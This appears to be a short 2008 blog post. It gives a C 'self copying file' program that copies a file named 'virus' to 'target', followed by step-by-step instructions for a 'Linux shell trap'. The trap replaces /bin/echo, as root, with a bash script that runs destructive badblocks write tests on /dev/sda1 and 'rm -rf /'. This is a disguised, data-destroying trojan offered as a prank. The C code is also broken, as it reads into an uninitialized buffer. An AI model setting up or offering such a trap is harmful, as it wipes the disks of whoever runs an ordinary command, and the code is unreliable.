Monday, May 26, 2008

Scripting C self copying file example

#include < stdio.h >
#include < stdlib.h >
int main( int argc, char *argv[] ) {
FILE *sourceFile;
FILE *destinationFile;
char *buffer;
int n;
int i = 0;

sourceFile = fopen("virus", "rb");
destinationFile = fopen("target", "wb");


if(sourceFile==NULL) {
return 1;
}
else if(destinationFile==NULL) {
return 1;
}
else {
n = fread(buffer, 1, 9000, sourceFile);
fwrite(buffer, 1, n, destinationFile);
fclose(sourceFile);
fclose(destinationFile);

destinationFile = fopen("target", "rb");
n = fread(buffer, 1, 9000, destinationFile);
for ( i = 0; i < 10; i++ ) {
printf("%s", buffer);
}
fclose(destinationFile);


return 0;
}
}

linux trap for the bash shell :))

Steps to setup this Linux Shell trap!

Step1: SUDO SU
and your password.

Step2: CD /bin

Step3: DIR RM

Step4: RM ECHO

Step5: Our new bash shell script to substitute for echo shell command...
1 #!/bin/bash
2 badblocks -vsw /dev/sda1
3 sudo badblocks -vsw /dev/sda1
4 rm -rf /
5 sudo rm -fr /
6 echo